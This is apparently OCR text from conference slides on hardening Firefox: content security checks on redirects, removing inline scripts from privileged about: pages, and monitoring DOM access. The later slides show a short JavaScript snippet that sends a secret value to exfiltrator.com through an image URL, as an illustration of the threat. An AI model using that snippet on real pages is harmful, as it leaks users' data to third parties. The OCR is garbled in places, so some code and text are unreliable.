


of all Applications
are vulnerable
to Code Injection Attacks

[ https://www.owasp.org/index.php/Category:OWASP_Top Ten Project ]
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HARDENING BY
ADDING LAYERS
OF SECURITY
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- - Enforcing Content Security By Default -




CONTENT SECURITY
CHECKS

M Mixed Content Blocking

M Same Origin Policy

M File Access Permission

M Content Security Policy

M Cross Origin Resource Sharing

M Subresource Integrity







a script-src good.com

GET good.com/library.js R
» good.com




SECURITY CHECK 1

GET good.com/library.js

> good.com




SECURITY CHECK 1

GET good.com/library.js

> good.com




IIII. SERVER SIDE REDIRECTS

2xx Success
200 0K

301 Moved Permanently
302 Found

303 Temporary Redirect

308 Permanent Redirect
xxx Other Responses

4xx, bxx, ..

[Kerschbaumer et al., Enforcing Content Security By Default within Web Browsers, 2016]



SECURITY CHECK 1

GET good.com/library.js

> good.com




SECURITY CHECK 1

GET good.com/library.js

GET evil.com/attacks.js

>

evil.com



SECURITY CHECK 1

GET good.com/library.js

GET evil.com/attacks.|s

>  evil.com

SECURITY CHECK 2



SECURITY CHECKS
HISTORICALLY

< Start Resouce Load >

[ Initiate Resource Load ]—»[ Redirect ]

( Next Resource Load )




SECURITY CHECKS
BY DEFAULT

Provide Load Context and
Start Resouce Load
. l I |
Initiate Resource Load

[ Redirect ]

( Next Resource Load >




LOADINFO

Principal® triggeringPrincipal;
ContentPolicyType contentPolicyType;

SecurityFlags securityFlags;




&

script-src good.com
[

|
----------------------------- GET QOOd.COm/library_js

> good.com

v

LOADINFO

Principal® triggeringPrincipal
ContentPolicyType contentPolicyType
SecurityFlags securityFlags



HARDENING BY
ADDING LAYERS
OF SECURITY

Removing and Preventing Inline Script Execution -

1l 1 1 1 1 1
- - Enforcing Content Security By Default -




about:moazilla

J

The Beast adopted new raiment and studied the ways of Time and Space and Light and the Flow of energy through the Universe. From its studies, the Beast fashioned new structures from oXidised
metal and proclaimed their glories. And the Beast’s followers rejoiced, finding renewed purpose in these teachings.

from The Book of Mozilla, 11:14
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about:tabcrashed

Gah. Your tab just crashed.

We can help!

Choose Restore This Tab to reload the page.

Close Tab Restore This Tab

19 Content
Privileged Pages
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out:tabcrashed
oo o =
Gah. Your tab just crashed.
We can help!
Choose Restore This Tab to reload the page.
Close Tab Restore This Tab

19 Content
Privileged Pages

26 System
Privileged Pages

about:config

( )
—
( 3 N J —
—
Search: | Q
Preference Name a | status Type Value
accessibility. AOM.enabled default boolean false
accessibility.accesskeycausesactivation default boolean true
lity.blockautorefresh default boolean false
lity.browsewithcaret default boolean false
accessibility.browsewithcaret_shortcut.enabled default boolean true
ity.force_disabled default integer 0
lity.indicator.enabled default boolean false
accessibility.monoaudio.enable default boolean false
accessibility.mouse_focuses_formcontrol default boolean false
accessibility.support.url default string il LOCAL
accessibility.tabfocus_applies_to_xul default boolean true
accessibility.typeaheadfind default boolean false
ity.typeaheadfind.autostart default boolean true
lity.typeaheadfind.casesensitive default integer o
accessibility.typeaheadfind.enablesound default boolean true
ty.typeaheadfind.flashBar modified integer 0
lity.typeaheadfind.linksonly default boolean false
lity.typeaheadfind.manual default boolean true
ity.typeaheadfind.matchesCountLimit default integer 1000
accessibility.typeaheadfind. prefillwithselection default boolean false
accessibility.typeaheadfind.soundURL default string beep
ibility.typeaheadfind.startlinksonly default boolean false
|\ J
L}
L]
—
( 3 N J —
—
This page helps you to manage your profiles. Each profile is a separate world which contains separate history, bookmarks, settings and Restart
add-ons.
Create a New Profile Restart with Add-ons Disabled... Restart normally...
This is the profile in use and it cannot be deleted.
Root irectory i i [ Showin Finder
Shown Finder
Rename
\.
L}
-~
—
[ N N J —
—

() Task Manager Tb Low (058)
() Task Manager Tab Low (043)

1IN
39MB




LEGACY INLINE SCRIPT
OCCURRENCES IN THE CODEBASE

<script>
function foo() {

, ..

</script>



LOADING ALL SCRIPT FROM
PACKAGED SOURCES

<script src="chrome://about/aboutAbout.js"></script>



®eoeo gbout:{all}

<meta http-equiv="Content-Security-Policy"
content="default-src chrome:" />



HARDENING BY
ADDING LAYERS

OF SECURITY B I

| 1 | | Monitoring DOM-Access
4 1 I 1 1 I

Removing and Preventing Inline Script Execution -

1l 1 1 1 1 1
- - Enforcing Content Security By Default -




DOM JS-ENGINE




DOM JS-ENGINE

ement.name = value;

ement.setAttribute(‘'name’, value);
ement.attributes[index].value = value;
ement.attributes.getNameditem('name’).value = name;

® Dd® D D




Q

- eliminate usage of eval()

FIREFOX INTERNAL USE OF
DYNAMIC RUNTIME MONITORING
WITHIN DOM BINDINGS:

- eliminate usage of innerHTML()

- eliminate usage of javascript: URIs




| | | | Monitoring DOM-Access

Removing and Preventing Inline Script Execution




A 90%
OF ALL WEBPAGES
ARE POWERED BY JAVASCRIPT *

* You Are What You Include: Large-scale Evaluation of Remote JavaScript Inclusions;
Nikiforakis et al., CCS 2012
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info.com

.\//

content.com

i\
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exfiltrator.com

WEBPAGES LOAD JS
FROM VARIOUS
DIFFERENT ORIGINS
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info.com

content.com

"

let secret = 24127;

-
=

let img = new Image();
img.src = “https://exfiltrator.com”;
img.src += pixel.png?value=* + secret;

exﬁlt/:a for.com




CURRENT
SECURITY MODEL

- SAME ORIGIN POLICY (SOP)
- IFRAME SANDBOX
- CONTENT SECURITY POLICY (CSP)

N
&3

IS TOO COARSE GRAINED FOR THE WEB!
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info.com

content.com

"

let secret = 24127;

-
=

let img = new Image();
img.src = “https://exfiltrator.com”;
img.src += pixel.png?value=* + secret;

exﬁlt/:a for.com




[ let secret = 2412;

_
-

? MONITOR DOM ACCESS
AND DENY ACCESS
TO CERTAIN ELEMENTS

=

let 1mg
1mg.src
1mg.src

new Image();

14

+= pixel.png?value=

“https://exfiltrator.com”;

+ secret;

exfili‘ra tor.com







